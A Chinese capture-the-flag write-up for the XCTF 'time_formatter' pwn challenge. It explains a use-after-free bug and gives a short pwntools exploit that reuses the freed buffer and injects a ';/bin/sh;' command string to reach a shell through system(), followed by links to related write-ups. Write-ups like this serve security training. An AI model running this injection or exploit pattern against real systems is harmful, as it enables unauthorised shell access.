[攻防世界 pwn]——time_formatter

题目地址: https://adworld.xctf.org.cn/
题目:

这是一道堆利用的题， UAFF(use After Free)漏洞。

peak小知识

堆空间释放后，指针不指向NULL，就仍指向该空间，并且重新申请的堆空间就是最先释放的堆空间
Linux中 echo “;ls;cat flag;/bin/sh;”
ls ，cat flag , /bin/sh，会挨个执行

老规矩还是先checksec一下

在IDA中查看一下反汇编的源代码

sub_400D26()函数是为了让你们输入选项。

我们仔细看看各个代码，

选项1，申请空间

选项5，释放ptr 和value的空间，但是都没有指向NULL。指针仍然指向原空间。

选项4里面有我们，心中年年不忘的system函数。首先它判断ptr是否为空，我们只要让ptr等于"/bin/sh"就可以获得shell了

在选项3中，也是申请一个新的堆空间，ptr释放后没有指向NULL，新申请的空间也就是ptr指向的空间

思路

选择选项1，申请空间
选择选项5，释放空间，但是不退出程序
选择选项3，将释放的空间重新申请，并写入 “/bin/sh”
选择选项4，获得shell

exploit

from pwn import *
p = remote("111.200.241.244",57231)p.sendlineafter("> ","1")
p.sendlineafter("Format: ","A")
p.sendlineafter("> ","5")
p.sendlineafter("Are you sure you want to exit (y/N)? ",'N')
p.sendlineafter("> ","3")
p.sendlineafter("Time zone: ","';/bin/sh;'")
p.sendlineafter("> ","4")
p.interactive()

[攻防世界 pwn]——time_formatter（内涵peak小知识）相关推荐

[Jarvis OJ - PWN]——Typo(内涵peak小知识)
[Jarvis OJ - PWN]--Typo 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先check一下, 是arm架构.还是第一次遇到. pe ...
[攻防世界 pwn]——pwn1（内涵peak小知识）
[攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...
[攻防世界 pwn]——string（内涵peak小知识）
[攻防世界 pwn]--string 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 mmap函数作用,mmap主要是将文件映射到一段内存去同时设置那段内存 ...
[BUUCTF-pwn]——[极客大挑战 2019]Not Bad(ORW)(内涵peak小知识)
[BUUCTF-pwn]--[极客大挑战 2019]Not Bad 又是一道收获满满的题目. peak小知识 seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的sy ...
[BUUCTF-pwn]——mrctf2020_shellcode_revenge(可见字符shellcode)(内涵peak小知识)
[BUUCTF-pwn]--mrctf2020_shellcode_revenge(可见字符shellcode) 检查了下保护发现NX 没有开,肯定要自己写shellcode呀. 不过这道题,刷新了我 ...
[BUUCTF-pwn]——picoctf_2018_leak_me（内涵peak小知识）
[BUUCTF-pwn]--picoctf_2018_leak_me 题目没什么难度,但是可能反汇编的时候你们可能会出现一些问题. peak小知识 pwn题,有时会碰到无法反汇编的情况,大多数情况下, ...
[BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)
[BUUCTF-pwn]--ciscn_2019_es_2 题目地址: https://buuoj.cn/challenges#ciscn_2019_es_2 这是一道栈劫持的题,第一次写这种题的题解 ...
[攻防世界 pwn]——pwn-200
[攻防世界 pwn]--pwn-200 题目地址: https://adworld.xctf.org.cn/ 题目: peak小知识 ret2libc的题型, 一般给一个输出和一个输入的函数, 输入一 ...
攻防世界 Pwn 进阶第一页
00 要把它跟之前新手区的放在一起总结,先稍稍回顾一下新手区. 攻防世界 Pwn 新手 1.栈溢出,从简单到难,开始有后门函数,到需要自己写函数参数,到最后的ret2libc. 常见漏洞点有read( ...

[攻防世界 pwn]——time_formatter（内涵peak小知识）

[攻防世界 pwn]——time_formatter

peak小知识

思路

exploit

[攻防世界 pwn]——time_formatter（内涵peak小知识）相关推荐

最新文章

热门文章